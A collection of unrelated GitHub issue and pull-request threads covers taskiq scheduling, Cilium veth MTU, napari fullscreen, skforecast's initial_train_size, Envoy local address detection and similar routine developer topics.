    str(settings.redis_url.with_path("/0")),
).with_result_backend(result_backend)

label_source = LabelScheduleSource(broker)
redis_source = RedisScheduleSource(str(settings.redis_url.with_path("/0")))
scheduler = TaskiqScheduler(broker=broker, sources=[redis_source])

this causes the same task to run multiple times almost at the same time. Is there a way to fix this?

Can you enable debug logging on taskiq worker and post your fastapi template config from pyproject.toml?

Can you enable debug logging on taskiq worker and post your fastapi template config from pyproject.toml?

This is my logging inside my example task, not sure if it's considered to be taskiq worker debug logging:
2024-07-20 21:13:00.654 | DEBUG     | trace_id=0 | span_id=0 | logging:callHandlers:1706 - Executing task example_app.tasks.schwab_tasks:heavy_task with ID: 7db200850187465ea69651178ae36446
2024-07-20 21:13:00.656 | DEBUG     | trace_id=0 | span_id=0 | example_app.tasks.schwab_tasks:heavy_task:52 - heavy_task: 10 is in worker process!!!
2024-07-20 21:13:00.675 | DEBUG     | trace_id=0 | span_id=0 | logging:callHandlers:1706 - Executing task example_app.tasks.schwab_tasks:heavy_task with ID: dd35acf445654ab6becc1c1e70423546
2024-07-20 21:13:00.677 | DEBUG     | trace_id=0 | span_id=0 | example_app.tasks.schwab_tasks:heavy_task:52 - heavy_task: 10 is in worker process!!!
2024-07-20 21:13:00.689 | DEBUG     | trace_id=0 | span_id=0 | logging:callHandlers:1706 - Executing task example_app.tasks.schwab_tasks:heavy_task with ID: e0b279df4ae445cfba48df53666a5256
2024-07-20 21:13:00.690 | DEBUG     | trace_id=0 | span_id=0 | example_app.tasks.schwab_tasks:heavy_task:52 - heavy_task: 10 is in worker process!!!
2024-07-20 21:13:00.696 | DEBUG     | trace_id=0 | span_id=0 | logging:callHandlers:1706 - Executing task example_app.tasks.schwab_tasks:heavy_task with ID: 6f8cbfd78a27490fa2fc60993ac572cb
2024-07-20 21:13:00.697 | DEBUG     | trace_id=0 | span_id=0 | example_app.tasks.schwab_tasks:heavy_task:52 - heavy_task: 10 is in worker process!!!
2024-07-20 21:13:00.705 | DEBUG     | trace_id=0 | span_id=0 | logging:callHandlers:1706 - Executing task example_app.tasks.schwab_tasks:heavy_task with ID: 98b7e34769c949c0b276a0a95bf83ee9
2024-07-20 21:13:00.706 | DEBUG     | trace_id=0 | span_id=0 | example_app.tasks.schwab_tasks:heavy_task:52 - heavy_task: 10 is in worker process!!!
2024-07-20 21:13:00.712 | DEBUG     | trace_id=0 | span_id=0 | logging:callHandlers:1706 - Executing task example_app.tasks.schwab_tasks:heavy_task with ID: 693fdc9fbe8c43a4977e9d30ece1f671
2024-07-20 21:13:00.713 | DEBUG     | trace_id=0 | span_id=0 | example_app.tasks.schwab_tasks:heavy_task:52 - heavy_task: 10 is in worker process!!!
2024-07-20 21:13:00.719 | DEBUG     | trace_id=0 | span_id=0 | logging:callHandlers:1706 - Executing task example_app.tasks.schwab_tasks:heavy_task with ID: 8f2f7818af43417f9d665a4125ef7e81
2024-07-20 21:13:00.720 | DEBUG     | trace_id=0 | span_id=0 | example_app.tasks.schwab_tasks:heavy_task:52 - heavy_task: 10 is in worker process!!!
2024-07-20 21:13:00.729 | DEBUG     | trace_id=0 | span_id=0 | logging:callHandlers:1706 - Executing task example_app.tasks.schwab_tasks:heavy_task with ID: 0f042d5cdd7947bbadd3f86fe28d4c37

my template config is following:
[fastapi-template.options]
project_name = "example_app"
api_type = "rest"
enable_redis = "True"
enable_rmq = "None"
ci_type = "github"
enable_migrations = "True"
enable_taskiq = "True"
enable_kube = "True"
kube_name = "insights-schwab"
enable_routers = "True"
enable_kafka = "True"
enable_loguru = "True"
traefik_labels = "None"
add_dummy = "None"
orm = "sqlalchemy"
self_hosted_swagger = "None"
prometheus_enabled = "True"
sentry_enabled = "True"
otlp_enabled = "True"
pydanticv1 = "None"
gunicorn = "True"
add_users = "None"
cookie_auth = "None"
jwt_auth = "None"

Thanks for the fast reply!

Seems like everything is fine. Maybe you have enabled workers reload on code change. So it reloads workers when you update your code. Consider changing something in heavy task and running it again. If output changes, then this assumption is correct and your setup is working as intended.

@s3rius
was wondering if it's necessary to schedule the task inside the _startup method in lifetime.py file under the web folder, like so:
await heavy_task.schedule_by_cron(redis_source, "* * * * *", 10)

The task method already is decorated with schedule:
@broker.task(
    task_name="heavy_task",
    schedule=[
        {
            "cron": "*/1 * * * *",
            "cron_offset": None,
            "time": None,
            "args": [10],
            "kwargs": {},
            "labels": {},
        },
    ],
)
async def heavy_task(a: int) -> None:

No it's not. If you use decorators, then add a LabelScheduleSource to your scheduler. Should work just right out of the box.
Because if you're going to schedule this task on startup, don't forget to delete it. LabeledScheduleSource on the other hand will be checking all imported tasks and their lables, so no external storage will be used.

No it's not. If you specify schedules in labels, then add a LabelScheduleSource to your scheduler. Should work just right out of the box.
Because if you're going to schedule this task on startup, don't forget to delete it. LabeledScheduleSource on the other hand will be checking all imported tasks and their lables, so no external storage will be used.

well, this does not work for me, meaning that the tasks will not get scheduled or executed:
my tkq.py file:

import taskiq_fastapi
from taskiq import InMemoryBroker, TaskiqScheduler
from taskiq.schedule_sources import LabelScheduleSource
from taskiq_redis import ListQueueBroker, RedisAsyncResultBackend

from example_app.settings import settings
from example_app.tasks.task_redis import RedisScheduleSource

result_backend = RedisAsyncResultBackend(  # type: ignore
    redis_url=str(settings.redis_url.with_path("/0")),
)
broker = ListQueueBroker(
    str(settings.redis_url.with_path("/0")),
).with_result_backend(result_backend)

label_source = LabelScheduleSource(broker)
redis_source = RedisScheduleSource(str(settings.redis_url.with_path("/0")))
scheduler = TaskiqScheduler(broker=broker, sources=[label_source])

if settings.environment.lower() == "pytest":
    broker = InMemoryBroker()  # type: ignore

taskiq_fastapi.init(
    broker,
    "example_app.web.application:get_app",
)

In my tasks file named shcwab_tasks.py, I have  following task decorated with schedule:

@broker.task(
    task_name="heavy_task",
    schedule=[
        {
            "cron": "*/1 * * * *",
            "cron_offset": None,
            "time": None,
            "args": [10],
            "kwargs": {},
            "labels": {},
        },
    ],
)
async def heavy_task(a: int) -> None:

    output_file = Path(Path(__file__).parent, "output.txt")
    if broker.is_worker_process:
        logger.info("heavy_task: {} is in worker process!!!", a)
    else:
        logger.info("heavy_task: {} not in worker process", a)

    with output_file.open("a") as file:
        rand_int = random.randint(1, 100)
        file.write(f"{a + rand_int}, {rand_int}, {now_ts}\n")

The heavy_task never runs. Did you test taskiq scheduler in fastapi template? Thanks @s3rius

How do you start taskiq scheduler?

How do you start taskiq scheduler?

I start the scheduler in my docker-compose like this:
taskiq-scheduler:
    <<: *main_app
    labels: []
    command:
    - taskiq
    - scheduler
    - -fsd
    - --skip-first-run
    - example_app.tkq:scheduler


[Bug]: Link to create project is broken

Preflight Checklist

[X] I could not find a solution in the documentation, the existing issues or discussions
[ ] I have joined the ZITADEL chat

Environment
ZITADEL Cloud
Version
2.46.0
Database
None
Database Version
No response
Describe the problem caused by this bug
Broken link
To reproduce

Go to https://b2b-demo-rbxajm.zitadel.cloud/ui/console/projects/app-create
Click on "here"
Page with error

Screenshots
https://github.com/zitadel/zitadel/assets/1366906/ac291025-e73f-4a5e-bd1f-aaecee6669a2
Expected behavior
No response
Operating System
No response
Relevant Configuration
No response
Additional Context
No response

This is already fixed with the following pr: https://github.com/zitadel/zitadel/pull/7417
It will be published to our cloud with the next release.


Persistence of full-screen mode confusing, hard to close/minimize

🐛 Bug
Issue copied from @optomanishk image.sc: https://forum.image.sc/t/napari-opens-in-full-screen-mode-and-doesnt-function/58286

I’m using the usual example code from a jupyter notebook to start napari UI.
Code:
from skimage import data
import napari

viewer = napari.view_image(data.astronaut(), rgb=True)
napari.run()  # start the event loop and show viewer

napari opens in this full-screen mode where none of the options (File - View - Window - Plugins - Help) work. There is no close/maximize/minimize button either.
I get this warning:
WARNING: QWindowsWindow::setGeometry: Unable to set geometry 1920x1080+1928+31 (frame: 1936x1119+1920+0) on QWidgetWindow/"_QtMainWindowClassWindow" on "\\.\DISPLAY2". Resulting geometry: 1920x1061+1928+31 (frame: 1936x1100+1920+0) margins: 8, 31, 8, 8 minimum size: 608x520 MINMAXINFO maxSize=0,0 maxpos=0,0 mintrack=624,559 maxtrack=0,0)

solved by napari --reset ... but it would be nice to avoid that
related issue: #2971 #3038 #3075
cc @goanpeca

Hi, just in case, I was able to reproduce this issue on Windows. I think this is related to https://bugreports.qt.io/browse/QTBUG-41309
Some workarounds and more info available at:

https://bugreports.qt.io/browse/QTBUG-41309?focusedCommentId=318322&page=com.atlassian.jira.plugin.system.issuetabpanels%3Acomment-tabpanel#comment-318322
https://doc.qt.io/qt-5/windows-issues.html#fullscreen-opengl-based-windows

In the maintime, as a way to workaround this without having to reset the preferences you can use the Toggle Fullscreen shortcut (Ctrl + F or Alt + Enter)


Cilium sets wrong MTU to veth-interfaces

Is there an existing issue for this?

[X] I have searched the existing issues

What happened?
Hey, we're using cilium to run virtual machines using KubeVirt project.
The KubeVirt inherits MTU value from veth-interface created by CNI.
But the problem is that Cilium sets wrong MTU for veth-interfaces:
29: lxcd014acdcb003@if28: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000
    link/ether ca:eb:0e:7e:e2:d7 brd ff:ff:ff:ff:ff:ff link-netns cni-bf21b517-613f-f985-4fda-9f5159bc587b

It seems this MTU 1500 is inherited from physical device:
level=info msg="  --mtu='0'" subsys=daemon
level=info msg="Inheriting MTU from external network interface" device=eno1 ipAddr=<IP_ADDRESS> mtu=1500 subsys=mtu

But I have VXLAN tunnel mode enabled. Thus it should equal 1450, same like in routing table:
<IP_ADDRESS>/24 via <IP_ADDRESS> dev cilium_host src <IP_ADDRESS>
<IP_ADDRESS> dev cilium_host scope link
<IP_ADDRESS>/24 via <IP_ADDRESS> dev cilium_host src <IP_ADDRESS> mtu 1450
<IP_ADDRESS>/24 via <IP_ADDRESS> dev cilium_host src <IP_ADDRESS> mtu 1450
<IP_ADDRESS>/24 via <IP_ADDRESS> dev cilium_host src <IP_ADDRESS> mtu 1450
<IP_ADDRESS>/24 via <IP_ADDRESS> dev cilium_host src <IP_ADDRESS> mtu 1450

During investigation of this problem, I found that:

Setting --mtu option manually, changes MTU in routes, but not for veth-devices.
Setting  --device-mtu option makes no effect.

Any way, even if this would work, specifying MTU manually is not universal solution and will disable MTU autodetection.
So I am a supporter of using RouteMTU for created veth-intefaces.
AFAIK flannel-cni and other CNI plugins are setting correct MTU value for Veth interfaces.
In case of tunnel enabled it is always 1450 instead of 1500
Cilium Version
Client: 1.11.12  go version go1.17.13 linux/amd64
Daemon: 1.11.12  go version go1.17.13 linux/amd64
Kernel Version
5.15.0-60-generic
Kubernetes Version
v1.23.15
Sysdump
No response
Relevant log output
enable-pmtu-discovery: "true"

Anything else?
@tgraf as author of this change, cloud you comment this issue please?
https://github.com/cilium/cilium/commit/829fc5730dc1741a07f8781ce6fc74eaeba4edc9#diff-7361d3356cb8d25d09fee88f8dbba7f047387c04c417e21f7a234a78068c02a7R349
Thank you 🙂
Code of Conduct

[X] I agree to follow this project's Code of Conduct

Thanks @kvaps, this looks like a legitimate bug, I think the line you're referring to should probably use RouteMTU instead of DeviceMTU. Would you be up for testing it out and submitting a PR?

Yeah, works fine to me!

I think that the solution to this problem is to configure routes in the VMs with the lower MTU. Lowering the MTU on the devices will break other paths.

this still in a row

Cilium configures a higher MTU on the devices in order to allow receiving larger frames, specifically because it is connected to multiple networks (tunnel and non-tunnel). By design Cilium configures routes inside Pods to use a lower MTU in order to limit the transmission on the tunnel network to fit within the MTU of that path. This ensures that regardless of whether the Pod attempts to connect to peers over the tunnel or over the internet, the connectivity works correctly. We can't just change the device MTU to route MTU since that will break connectivity between Pods and the Internet (or any other non-tunnel destinations).
One possible solution is to teach kubevirt about the route (+MTU) when configuring the devices. By the looks, the CNI spec doesn't encode this today in its routes, but maybe it should encode MTU in the routes there. I'm not exactly sure how kubevirt is involved in the device handling, but if Cilium handed back the MTU with the routes that it configures, this might help kubevirt to configure MTU correctly. On the other hand, maybe a simpler solution is just to have another out-of-band configuration for kubevirt to ensure that the routes are configured with the correct MTU.


[Cosmo-Dycore] Add version detection

launch jenkins cosmo-dycore

@PanicSheep From my point of view this can be merged!


Observed data API

Goal
The goal of this issue is to lockdown how we want EpiAware to ingest observed data, especially in light of #107 .
Current API
The data y_t is an argument to make_epi_aware constructor. If its y_t = missing then EpiAware generates the data from the defined generative model, otherwise it is treated as conditioning the model.
Possible other option: upside and downside
The other Turing approach would be to not have y_t as an argument. Conditioning on observed data is then done using condition or the syntax sugar |,
eg
inference_mdl = condition(generative_mdl, (y_t = my_case_data,))

or
inference_mdl = generative_mdl | (y_t = my_case_data,)

Upsides of this approach

Flexible
Close to the mathematical conception of the model.

Downsides of this approach

Not specifying a clear way of proving data could be:

Confusing to users
Relies on knowing variable names inside the model.

Conditioning on observed data is then done using condition or the syntax sugar |,

Yes I like this approach. Is there anyway to make it easy and discoverable so that uses can know what they can condition and to make sure that condition errors if they pick something that doesn't exist (maybe both of these issues are on dynamicppl or turing.

With the introduction of StackObservationModel in #249 we have an opinionated choice to support observations called y_t in the simple case and as a NamedTuple in the complex case which then gives name.y_t. I think this is a clear enough pattern and it seems robust.
Do we think there is more to do here or shall we close in favour of a new issue focussing on how we pass metadata?


Good First Issue: Allow initial_train_size in backtesting_forecaster to accept date values

Use branch 0.15.x as base.
Summary
Currently, the initial_train_size parameter in the backtesting_forecaster function only accepts an integer value. This integer defines how many observations to use as the initial training set. We would like to extend this functionality so that initial_train_size can also accept a date (e.g., '2020-01-01'). If a date is provided, the function should calculate the appropriate number of observations corresponding to the time window between the start of the data and the given date.
Task

Create an auxiliary function, _preprocess_initial_train_size(y: pd.Series, initial_train_size) in the utils module:

initial_train_size can be an integer or any datetime format that pandas allows to be passed to a pd.DatetimeIndex (e.g., string, pandas timestamp...).
If y does not have a pd.DatetimeIndex and initial_train_size is not an integer, raise a TypeError with the message: "If y does not have a pd.DatetimeIndex, initial_train_size must be an integer."
If the series y has a pd.DatetimeIndex, this function will return the length of the time window between the start of the data and the given date as an integer value. The given date must be included in the window.
If the input initial_train_size is an integer, return the same integer.
Create unit tests using pytest in the utils.tests folder.

# Expected behavior
# ==============================================================================
y = pd.Series([1, 2, 3, 4, 5], index=pd.date_range('2020-01-01', periods=5, freq='D'))
_preprocess_initial_train_size(y, '2020-01-02') # expected output: 2

y = pd.Series([1, 2, 3, 4, 5], index=pd.date_range('2020-01-01', periods=5, freq='D'))
_preprocess_initial_train_size(y, 2) # expected output: 2

y = pd.Series([1, 2, 3, 4, 5], index=pd.RangeIndex(start=0, stop=5, step=1))
_preprocess_initial_train_size(y, '2020-01-02') # expected output: TypeError

Integrate this function with _backtesting_forecasting and  backtesting_forecasting in the model_selection module.

Acceptance Criteria

[ ] The initial_train_size parameter accepts both integer and date formats.
[ ] The function correctly calculates the initial training size when a date is provided.
[ ] Existing tests continue to pass.
[ ] New test cases are added to verify the correct behavior for both int and date inputs.

Full Example
The initial training set must contain 127 observations and the results must be the same if initial_train_size = 127.
# Expected behavior
# ==============================================================================
data = fetch_dataset(name="h2o", kwargs_read_csv={"names": ["y", "datetime"], "header": 0})
initial_train_size = '2002-01-01 00:00:00'

forecaster = ForecasterRecursive(
                 regressor = LGBMRegressor(random_state=123, verbose=-1),
                 lags      = 15
             )

cv = TimeSeriesFold(
         steps                 = 10,
         initial_train_size    = initial_train_size,
         refit                 = False,
         fixed_train_size      = False,
         gap                   = 0,
         allow_incomplete_fold = True
     )

metric, predictions = backtesting_forecaster(
                          forecaster            = forecaster,
                          cv                    = cv,
                          y                     = data['y'],
                          metric                = 'mean_squared_error',
                          verbose               = True,
                          show_progress         = True
                      )

We will take this for the Hacktoberfest organised by Pydata along with @Lt-Serge and @laseiras

One question @JavierEscobarOrtiz : as initial_train_size is not a parameter of backtesting_forecaster, why isn't the function added in the Fold classes? For instance, this docstring needs to be changed right?: https://github.com/skforecast/skforecast/blob/88da967670344453cdc1ab775e4c228cdc394617/skforecast/model_selection/_split.py#L27

@g-rubio is taking this issue
Update
As part of skforecast 0.14.0, initial_train_size is now an argument of BaseFold, TimeSeriesFold and OneStepAheadFold.
Tasks

Fork the skforecast 0.15.x branch with the latest update.

Modify methods _validate_params in BaseFold and split in TimeSeriesFold and OneStepAheadFold to work when initial_train_size is a date.

_validate_params in BaseFold contains the checks for the parameters. Extend for initial_train_size as date. See the date_to_index_position function from utils. This function is used when steps is a date in the predict method of the ForecasterRecursive.

split must use the date_to_index_position function from utils to convert initial_train_size to an integer. I suggest using this function to overwrite the attribute self.initial_train_size when it is not an int during the split method.

Create the corresponding tests for the 3 classes

@JavierEscobarOrtiz

split must use the date_to_index_position function from utils to convert initial_train_size to an integer. I suggest using this function to overwrite the attribute self.initial_train_size when it is not an int during the split method.

I think I can't use date_to_index_position because of the following condition:
https://github.com/skforecast/skforecast/blob/dce50012d176b143cda745201b2d8da110be3cce/skforecast/utils/utils.py#L1600C9-L1605C14
For this new feature, the target date must be before the last date to be part of the training set. I don't know if changing this check is appropriate

That’s true. Include a new argument in the function, called “method”, that can be ‘validation’ or ‘predict’ to create an if statement and avoid this check. As default, this argument must be “predict”

Hi @JavierEscobarOrtiz, I'm ready to create a pull request, but I have one problem. All tests related to the code I changed run successfully, but some of the rest fail or I can't run them. I'm not entirely sure why, I think the failures are related to my setup not being correct, but I want to ask if this is ok or if I should revise all tests more carefully. For instance, I'm having issues with the deep_learning ones.
Btw, I looked in the contributing guide here, it is suggested to install the requirements in requirements_test.txt. But that file is no longer in the repo I think.
This has been fun, i learned a lot by looking at the insides of skforecast  😄

Hi @g-rubio
Nice!! Don't worry about the testing. Create the PR, but change the target branch to feature_initial_train_size_as_date instead of 0.15.x. I will check the tests and if I see anything wrong I will let you know.
Thanks for checking the contributor guide, I have updated it. The requirements are now in the pyproject.toml file under the test label.


Not working if used with other monitors as default view

Small issue, if some other monitor is used (e.g. LogMonitor) as default view and then switch (via changeMonitorKey) to filterable log monitor, its blank, no data is shown.
But it works fine if filterable log monitor is default view.

Hey @mladenp. If you'd be interested in contributing a fix for this, please do! I'd be happy to review it. :)

Closing due to lack of interest.


addon attribute

Hello,
I'm a little confused on how to add addon attributes in the cookbook. What is the format/syntax that the addon attribute should be listed in in the cookbook?
For example, I'm trying to add the 'manage' addon to my Chef Server. I see that the recipe is supposed to iterate through the node.default['chef-server']['addons'] attribute, but what format (how should I have) the addons listed in the code block?
For example, the documentation shows how to configure the Chef Server configuration attributes (shown below), but I don't know how to configure the Addon attributes.
node.default['chef-server']['configuration'] = <<-EOS
  notification_email '##########'
  api_fqdn '#{node["fqdn"]}'
EOS

For addons, I'm assuming it's in a similar format as shown below, but could someone please guide me on the correct syntax/format for adding an addon attribute?
node.default['chef-server']['addons'] = <<-EOS
  #add manage addon here
EOS

Thanks.

I believe I found the solution.  You use the chef-ingredient cookbook to install the add-on and reconfigure the Chef Server
chef_ingredient 'manage' do
  channel :current
  action :install
end

chef_ingredient 'manage' do
  notifies :reconfigure, 'chef_ingredient[manage]'
end


fix parallel demo

This update to the vqe_parallel demo:

Uses the optimized gates from the dataset for the circuit
Changes the simulator to 4q-pyqvm since that one works
Updates timing data
Changes the plot so that atomic separation is actually atomic separation
Compares the energies to those provided in the dataset.

When running this demo, dask actually slowed the simulations down.  So I made a comment about how parallelism doesn't always make things go faster if you have oversubscribed your machine.

Validated locally on QVM/Quilc server. The only line that needs updating is result = H.coeffs @ dask.compute(*results, scheduler="threads"). Commit to follow.


No more possible move and the game can't be ended

As issue title says, I can't find any further move. Let me know if I'm missing a move that I can't see.


Network utility function getLocalAddress() doesn't support multiple interfaces and link local IPv6 addresses

The network utility function getLocalAddress() (https://github.com/lyft/envoy/blob/master/source/common/network/utility.cc#L136) currently returns the first non-loopback IPv4 interface address. This is done by looping through the linked list returned by getifaddrs (http://man7.org/linux/man-pages/man3/getifaddrs.3.html). This poses two problems when adding IPv6 support:

In the case of multiple interfaces, the first non-loopback address may not be the "local" address.
getifaddrs doesn't seem to return the link local ipv6 address of some interfaces (em1 on my workstation).

For (2), does it make sense to convert from MAC to IPv6 address?
This conversion seems to work for my workstation but I'm not sure about the general case and if this will change in the future (http://stackoverflow.com/questions/27693120/convert-from-mac-to-ipv6)?

I discussed this with @htuch offline. The result of this function is used for various things including populating XFF if needed. My feeling is that ultimately we should probably allow the value that this function returns to be alternatively set on the CLI so that operators can do what they want if needed. In light of that, IMO, I would just make it do something somewhat sane in the interim and put in a TODO that something better needs to be done. (Your proposal seems fine to me).

You can't guarantee that a MAC address is used for link-local IPv6
generation in the RFC 4862 way.  RFC 4941 specifies an alternate mechanism
that uses randomized address selection.  We should probably stay away from
assuming RFC 4862 link local addresses exist.
https://tools.ietf.org/html/rfc4941
On Wed, May 10, 2017 at 11:10 AM, Matt Klein<EMAIL_ADDRESS>wrote:

I discussed this with @htuch https://github.com/htuch offline. The
result of this function is used for various things including populating XFF
if needed. My feeling is that ultimately we should probably allow the value
that this function returns to be alternatively set on the CLI so that
operators can do what they want if needed. In light of that, IMO, I would
just make it do something somewhat sane in the interim and put in a TODO
that something better needs to be done. (Your proposal seems fine to me).
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/lyft/envoy/issues/939#issuecomment-300513319, or mute
the thread
https://github.com/notifications/unsubscribe-auth/ABIPmcLF2iEpjGfFycuyKYuwsuVFja5fks5r4dNhgaJpZM4NWwtA
.


Hooks

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@e0a1988). Click here to learn what that means.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master       #3   +/-   ##
=========================================
  Coverage          ?   66.92%
=========================================
  Files             ?        3
  Lines             ?      130
  Branches          ?       30
=========================================
  Hits              ?       87
  Misses            ?       31
  Partials          ?       12

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e0a1988...d0c7d8e. Read the comment docs.


Update VALID_DATALEVELS to include L2a and L2b for IDEX

IDEX is now distinguishing its L2 data products as L2A and L2B. The VALID_DATALEVELS list in __init__.py should be updated to reflect this.

Re-assigning this to you @lacoak21. Might be a nice small exercise in going through the process of making a change and opening a PR.


BingMaps examples not working.

Maybe the API key expired again?

works for me on: http://openlayers.org/en/v3.13.1/examples/bing-maps.html ?

You are right, google trolled me. I was trying http://openlayers.org/en/v3.2.1/examples/bing-maps.html.


Symbolic links created in additional panes/tabs don't work

Environment
Windows build number: Windows 10.0.19042.0
Windows Terminal version (if applicable): 1.6.10571.0

Any other software? PowerShell 7.1.2

Steps to reproduce

open Windows Terminal with a default profile of PowerShell 7.1.2
in a folder X, create a directory target: New-Item -ItemType Directory -Path target, and a symbolic link link pointing to target: New-Item -ItemType SymbolicLink -Path link -Value target
open a new pane/tab, navigate to X, and create another symbolic link link2 pointing to target

Expected behavior
Both link and link2 are valid symbolic links pointing to target
Actual behavior
Only link is a valid symbolic link pointing to target. Any symbolic links created in a pane/tab that isn't the original one, doesn't work.

This seems to me like a powershell issue? All terminal is doing is running two copies of PowerShell.


Update enterprise-grade-logging-content.md

Fixing a typo Azure Monitro -> Azure Monitor

Learn Build status updates of commit 707bd96:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/reference-architectures/logging/enterprise-grade-logging-content.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel

LGTM
CACT #sign-off


Update Helm chart

Parameterise broker service type
Possible values LoadBalancer and ClusterIP

Pull Request Test Coverage Report for Build 3297

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.01%) to 89.898%

Totals

Change from base Build 3291:
0.01%

Covered Lines:
9392

Relevant Lines:
10095

💛  - Coveralls


Cookies and Tokens

Se produjo un error al guardar las cookies: status: 400, message: "{"errors":[{"code":366,"message":"flow name LoginFlow is currently not accessible"}]}"

you can see this
https://github.com/d60/twikit/issues/169#issuecomment-2286465397

fixed in v2.2.0


Show source of the instance name for a project (npx s info)

Close #258

Codecov Report

Merging #281 into master will increase coverage by 4.59%.
The diff coverage is 0%.

@@            Coverage Diff             @@
##           master     #281      +/-   ##
==========================================
+ Coverage   32.61%   37.21%   +4.59%
==========================================
  Files          95       99       +4
  Lines        3756     4109     +353
  Branches        6        6
==========================================
+ Hits         1225     1529     +304
- Misses       2531     2580      +49


Make and use story-level country geocoding?

Think about adding a pre-pipeline coding step that geocodes complete articles (rather than sentences) to the country. This would be useful for two things:

Associating actors that don't have country codes with the correct country. E.g., "Egyptian police fired on protesters" -> EGYCOP, ~CVL. If the document is geocoded to one country, we could say with enough  confidence that ~CVL = EGYCVL. This process would happen in the pipeline rather than in Petrarch.

Mordecai's country coding works much better at the document level than the sentence level, and its place function can take in a country limit as an argument. Doing a first-pass whole article country-level coding could help the sentence level geocoding.

Because the pipeline operates at the sentence level, actually geocoding the articles would have to happen outside the pipeline. Changes to the pipeline would just be in order to use the new info.

Downside is the overhead when you have a large corpus that contains mostly junk (e.g. recently worked with one generated by the data-provider-who-shall-not-be-named with 2.5M stories, only about 2% of which generated events). We could do this just as easily by doing the substitutions in a post-processing phase, right?

I had forgotten that the geocoding step in postprocess.py hits the db again. Since that's also where it does the actor splitting, it would be easy to put a step in there where it geocodes the full article and updates the db, but only if an event has already been coded from that article.


Audio wave overview not empty when recording silent

If the loopback test records nothing (because, for instance, the loopback adapter is broken) then the little overview wave in the top right hand corner shows some kind of default wave that looks legit. That's confusing because it at first appears that the recording succeeded. Recording failure should clear that overview box so it's more obvious that we recorded silence.

I agree, the error handling could be improved.


Explain what the Kanban Board and the Prioritization projects mean

Explain what the Kanban Board and the Prioritization projects mean

@resir014 @mazipan, do you think the Projects are still useful or not?
I doubt their usefulness.

Our Kanban Board is rendered useless when the actual signal of an in progress work is based on the existence of any Draft Pull Requests linked to the issues.
Our Prioritization is redundant with our high-priority and low-priority labels. Trying to synchronize them is a pretty much effort while letting them out of sync sends mixed signals to our contributors.

Shall we decommission them to make the issue triaging process much simpler, then?
What do you guys think?


Update tableau to 10.2.2

After making all changes to the cask:

[x] `brew cask audit --download {{cask_file}}` is error-free.
[x] `brew cask style --fix {{cask_file}}` left no offenses.
[x] The commit message includes the cask’s name and version.

Travis shows success again: https://travis-ci.org/caskroom/homebrew-cask/builds/234520150

Thank you for the contribution. It was merged directly as e6014d8f41ba7eb530127b0d8e2d3c39c43d9e04. Your contribution is still credited to you.


Getting "'StanModel' object has no attribute 'fit_class' error while using prophet model

I am trying to use prophet mode on TechM stock
model , model_data = techM.create_prophet_model()
I am getting error
"
AttributeError                            Traceback (most recent call last)
 in ()
----> 1 model , model_data = techM.create_prophet_model()
~/AmanCode/Python/Stocker/stocker.py in create_prophet_model(self, days, resample)
447             stock_history = self.resample(stock_history)
448
--> 449         model.fit(stock_history)
450
451         # Make and predict for next year with future dataframe
~/anaconda3/lib/python3.6/site-packages/fbprophet/forecaster.py in fit(self, df, **kwargs)
834             try:
835                 params = model.optimizing(
--> 836                     dat, init=stan_init, iter=1e4, **kwargs)
837             except RuntimeError:
838                 params = model.optimizing(
~/anaconda3/lib/python3.6/site-packages/pystan/model.py in optimizing(self, data, seed, init, sample_file, algorithm, verbose, as_vector, **kwargs)
470             data = {}
471         seed = pystan.misc._check_seed(seed)
--> 472         fit = self.fit_class(data, seed)
473
474         m_pars = fit._get_param_names()
AttributeError: 'StanModel' object has no attribute 'fit_class'"
I tried updating numpy as well as pystan , but still getting the same error ..

That is a problem with either Prophet, numpy, or pystan.  Did you try reinstalling with conda?
This thread might be helpful.

Thanks..
I uninstalled prophet and pystan and then reinstalled using pip with
no-cache. It is working fine now
On Tue, Feb 6, 2018 at 10:39 PM, Will Koehrsen<EMAIL_ADDRESS>wrote:

That is a problem with either Prophet, numpy, or pystan. Did you try
reinstalling with conda?
This thread https://github.com/facebook/prophet/issues/249 might be
helpful.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/WillKoehrsen/Data-Analysis/issues/10#issuecomment-363493864,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Ab3YAvTJgDlI9lDLulLyKrrByu-9fdM2ks5tSIdegaJpZM4R6pC-
.

Good to hear. Prophet is relatively new and there are still issues with installation.


Fix: the gtk expander widget bugfix

Description
As it was mentioned in this issue -> https://github.com/elkowar/eww/issues/1085, if the name property was set for the expander widget, then child elements didn't show up. Essentially it was a choice between a labeled but child-free expander or labeless but with children expander.
This behavior came from the build_builtin_gtk_widget() function. To be more precise, this function adds child elements only if there aren't any children that have been already added with the widget_use_to_gtk_widget() function. The problem with that in this case is that expander's label is actually considered to be a child element itself:

So now the build_gtk_expander() function handles the child element explicitly (see diff).
Fixes https://github.com/elkowar/eww/issues/1085
Usage
N/A
Showcase
Here's the minimal configuration used below:
(defwindow example
    :monitor "0"
    :geometry (geometry
        :x "0"
        :y "0"
        :width "100%"
        :height "35px"
        :anchor "top center"
    )
    :exclusive "true"
    (expander
        :name "foo"
        :halign "start"
        (label :text "expanded child")
    )
)

The result:

Works as expected
Additional Notes
Now the expander widget is also required to have exactly one child. If no children were provided, there would be an error. I just thought it would be nice, but it can be removed without any problems if necessary.
Checklist
Please make sure you can check all the boxes that apply to this PR.

[x] All widgets I've added are correctly documented.
[x] I added my changes to CHANGELOG.md, if appropriate.
[x] The documentation in the docs/content/main directory has been adjusted to reflect my changes.
[x] I used cargo fmt to automatically format all code before committing

Thanks for your work! Merged!

@elkowar, whoops, I think I accidentally put the changelog entry under the wrong version. Should be under unreleased, my bad. Must have been sleepy when I did this. Can you fix that, please? Another pr would probably be too much

